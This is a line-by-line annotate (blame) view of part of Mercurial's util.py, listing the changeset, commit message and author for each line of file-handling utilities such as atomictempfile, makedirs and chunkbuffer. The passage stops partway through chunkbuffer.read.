77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2441 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2442 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2443
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2444 Otherwise, this returns True, as "ambiguity is avoided".
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2445 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2446 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2447 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2448 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2449 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2450 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2451 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2452 # if a process doesn't have appropriate privileges
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2453 return False
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2454 raise
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
2455 return True
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2456
29298
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2457 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2458 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2459
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2460
8778
c5f36402daad use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8631
diff changeset
2461 class atomictempfile(object):
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2462 """writable file object that atomically updates a file
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2463
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
2464 All writes will go to a temporary copy of the original file. Call
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2465 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2466 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2467 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2468 writes are discarded.
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2469
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2470 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2471 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2472 or repo.wlock).
45942
89a2afe31e82 formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents: 45146
diff changeset
2473 """
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2474
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2475 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2476 self.__name = name # permanent name
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2477 self._tempname = mktempcopy(
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2478 name,
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2479 emptyok=(b'w' in mode),
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2480 createmode=createmode,
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2481 enforcewritable=(b'w' in mode),
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2482 )
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2483
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2484 self._fp = posixfile(self._tempname, mode)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2485 self._checkambig = checkambig
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2486
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2487 # delegated methods
29393
50269a4dce61 atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents: 29367
diff changeset
2488 self.read = self._fp.read
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2489 self.write = self._fp.write
17237
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
2490 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
2491 self.tell = self._fp.tell
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2492 self.fileno = self._fp.fileno
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2493
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2494 def close(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
2495 if not self._fp.closed:
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2496 self._fp.close()
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2497 filename = localpath(self.__name)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2498 oldstat = self._checkambig and filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2499 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2500 rename(self._tempname, filename)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2501 newstat = filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2502 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2503 # stat of changed file is ambiguous to original one
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2504 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2505 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2506 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2507 rename(self._tempname, filename)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2508
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2509 def discard(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
2510 if not self._fp.closed:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2511 try:
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2512 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2513 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2514 pass
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2515 self._fp.close()
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2516
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
2517 def __del__(self):
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2518 if safehasattr(self, '_fp'): # constructor actually did something
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2519 self.discard()
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
2520
29394
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2521 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2522 return self
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2523
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2524 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2525 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2526 self.discard()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2527 else:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2528 self.close()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2529
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2530
38493
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2531 def unlinkpath(f, ignoremissing=False, rmdir=True):
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2532 """unlink and remove the directory if it is empty"""
31541
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2533 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2534 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2535 else:
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2536 unlink(f)
38493
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2537 if rmdir:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2538 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2539 try:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2540 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2541 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2542 pass
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2543
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2544
31540
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2545 def tryunlink(f):
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2546 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2547 try:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2548 unlink(f)
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2549 except OSError as e:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2550 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2551 raise
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2552
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2553
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2554 def makedirs(name, mode=None, notindexed=False):
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2555 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2556
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2557 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2558 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2559 for "write" mode access.
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2560 """
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2561 try:
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2562 makedir(name, notindexed)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2563 except OSError as err:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2564 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2565 return
15058
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2566 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2567 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2568 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2569 if parent == name:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2570 raise
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2571 makedirs(parent, mode, notindexed)
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2572 try:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2573 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2574 except OSError as err:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2575 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2576 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2577 return
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2578 raise
18678
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
2579 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
2580 os.chmod(name, mode)
18668
4034b8d551b1 scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents: 18614
diff changeset
2581
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2582
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2583 def readfile(path):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2584 with open(path, b'rb') as fp:
14100
3e9e02a41dfb util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents: 14099
diff changeset
2585 return fp.read()
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2586
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2587
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2588 def writefile(path, text):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2589 with open(path, b'wb') as fp:
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2590 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2591
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2592
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2593 def appendfile(path, text):
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2594 with open(path, b'ab') as fp:
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2595 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2596
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2597
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2598 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2599 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2600 iterator over chunks of arbitrary size."""
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2601
5446
fa836e050c50 chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents: 5420
diff changeset
2602 def __init__(self, in_iter):
32123
5f53c267e362 util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents: 31952
diff changeset
2603 """in_iter is the iterator that's iterating over the input chunks."""
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2604
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2605 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2606 for chunk in chunks:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2607 if len(chunk) > 2 ** 20:
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2608 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2609 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2610 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2611 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2612 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2613 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2614 yield chunk
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2615
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2616 self.iter = splitbig(in_iter)
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
2617 self._queue = collections.deque()
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2618 self._chunkoffset = 0
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2619
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2620 def read(self, l=None):
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2621 """Read L bytes of data from the iterator of chunks of data.
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2622 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2623
23139
e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23097
diff changeset
2624 If size parameter is omitted, read everything"""
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2625 if l is None:
43077
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents: 43076
diff changeset
2626 return b''.join(self.iter)
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2627
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2628 left = l
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
2629 buf = []
16873
37e081609828 util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents: 16834
diff changeset
2630 queue = self._queue
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2631 while left > 0:
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2632 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2633 if not queue:
43076
2372284d9457 formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents: 42766
diff changeset
2634 target = 2 ** 18
11758
